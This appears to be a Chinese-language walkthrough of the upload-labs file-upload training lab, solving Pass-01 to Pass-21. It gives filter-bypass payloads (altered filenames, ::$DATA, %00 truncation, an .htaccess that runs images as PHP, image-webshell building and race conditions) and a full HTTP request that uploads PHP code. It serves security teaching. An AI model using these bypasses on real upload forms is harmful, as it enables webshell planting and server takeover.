upload-labs
没有对后缀名中的’::$DATA’进行过滤。在php+windows的情况下:如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA”之前的文件名。利用windows特性,可在后缀名中加” ::$DATA”绕过:
Table of Contents
Pass-01
上传图片马,burpsuite抓包修改后缀名为.php
蚁剑连接图片马链接
Pass-02
用第一个的方法,发现还是可以直接上传成功,但是这里还有第二种方法。
直接上传php格式的文件,用burp抓包。更改Content-Type这里的值。
上传php文件时,Content-Type的值是application/octet-stream,
上传jpg文件时,Content-Type的值是image/png,直接更改就可以了
Pass-03
黑名单,使用php3,Php,phtml等可绕过
Pass-04
黑名单挺全的, 可以上传htaccess来进行解析
.htaccess文件
<FilesMatch "one.jpg">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到one.jpg文件,则被解析成PHP代码执行
AddHandler php5-script .jpg #在当前目录下,如果匹配到.gif文件,则被解析成PHP代码执行
</FilesMatch>
直接连接图片马即可解析
Pass-05
查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
过滤了.htaccess, 去除末尾点,转换小写,首尾去空,使用“. .”绕过。
.php.可以不加最后的点访问
Content-Disposition: form-data; name="upload_file"; filename="one.php. ."
Content-Type: image/png
Pass-06
没有转换大小写。windows环境大小写不敏感,直接大写绕过
Content-Disposition: form-data; name="upload_file"; filename="one.PHP"
Pass-07
没过滤空格,直接后缀名加空格绕过
Content-Disposition: form-data; name="upload_file"; filename="one.php "
Pass-08
没过滤末尾点,后缀名加.绕过
Content-Disposition: form-data; name="upload_file"; filename="one.php."
Pass-09
没过滤::$DATA,后缀名加.php::$data绕过。访问时去掉::$data
Content-Disposition: form-data; name="upload_file"; filename="one.php::$data"
Pass-10
同pass05,用”. .”绕过
Pass-11
将黑名单里的后缀名替换为空且只替换一次,用双写绕过
Content-Disposition: form-data; name="upload_file"; filename="one.pphphp"
Pass-12
上传路径可控
发现只允许上传’jpg’,’png’,’gif’格式的文件。但是上传路径是可以控制的,可以使用%00进行截断。%00只能用于php版本低于5.3的。 上传jpg文件。然后去修改地址 ;
Pass-13
路径有过滤, 所以直接指定.php的路径进行上传是不可行的, 考虑00截断
接受值变成了post,她两的差别呢就是get会自行解码,post不会自行解码,需要对%00进行编码, 可以用url编码或者base64编码方式;
Pass-14
文件包含漏洞
制作并上传图片马
copy hacker.jpg /b + one.php /a shell.jpg
http://127.0.0.1/upload-labs-master/include.php?file=upload/6420220328141546.jpg
Pass-15
这题是用getimagesize函数判断文件类型,还是可以图片马绕过,方法同pass14
Pass-16
需要在php.ini开启extension=php_exif.dll,之后同上
Pass-17
二次渲染
imagecreatefromjpeg()函数
二次渲染是由Gif文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,图片马失效。
按照原来的方法进行上传,我们可以发现还是可以上传的,但是配合包含漏洞却无法解析,这时我们把上传的图片复制下来用记事本打开,发现我们原来写的php代码没有了,这就是二次渲染把我们里面的php代码删掉了。
绕过方法:
把原图和他修改过的图片进行比较,看看哪个部分没有被修改。将php代码放到没有被更改的部分,配合包含漏洞。
Pass-18
条件竞争
第十八关主要是对条件竞争的考察,我们看代码他是先将图片上传上去,才开始进行判断后缀名、二次渲染。如果我们在上传上去的一瞬间访问这个文件,那他就不能对这个文件删除、二次渲染。这就相当于我们打开了一个文件,然后再去删除这个文件,就会提示这个文件在另一程序中打开无法删除。
利用bp进行,发送到Intruder,clear§
然后一直访问网页,就可以访问到了
Pass-19
本题相较上题多了移动和重命名文件, 可以说是更激烈的条件竞争, 解题方法同上
Pass-20
上传文件时可自定义文件名,move_uploaded_file()函数中有个img_path,并且还是由post参数的save_name控制的,因此可以使用前面的. .进行截断
上传图片马, 之后把保存文件名改为shell.php. .使用. .来进行截断
Content-Disposition: form-data; name="save_name"
upload-19.php. .
Pass-21
审计代码可以发现save_name可以是数组, 这里拆成两部分, 在文件最后面的一个后缀使用jpg, 会自动截断后面的
POST /upload-labs-master/Pass-21/index.php HTTP/1.1
Host: 192.168.200.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1799073601356749423520390181
Content-Length: 603
Origin: http://192.168.200.137
Connection: close
Referer: http://192.168.200.137/upload-labs-master/Pass-21/index.php
Cookie: PHPSESSID=7d395203ec5265dd787886b4aadd8ed7
Upgrade-Insecure-Requests: 1
-----------------------------1799073601356749423520390181
Content-Disposition: form-data; name="upload_file"; filename="15.png"
Content-Type: image/png
<?php phpinfo(); ?>
-----------------------------1799073601356749423520390181
Content-Disposition: form-data; name="save_name[0]"
upload-20.php
-----------------------------1799073601356749423520390181
Content-Disposition: form-data; name="save_name[2]"
jpg
-----------------------------1799073601356749423520390181
Content-Disposition: form-data; name="submit"
??????
-----------------------------1799073601356749423520390181--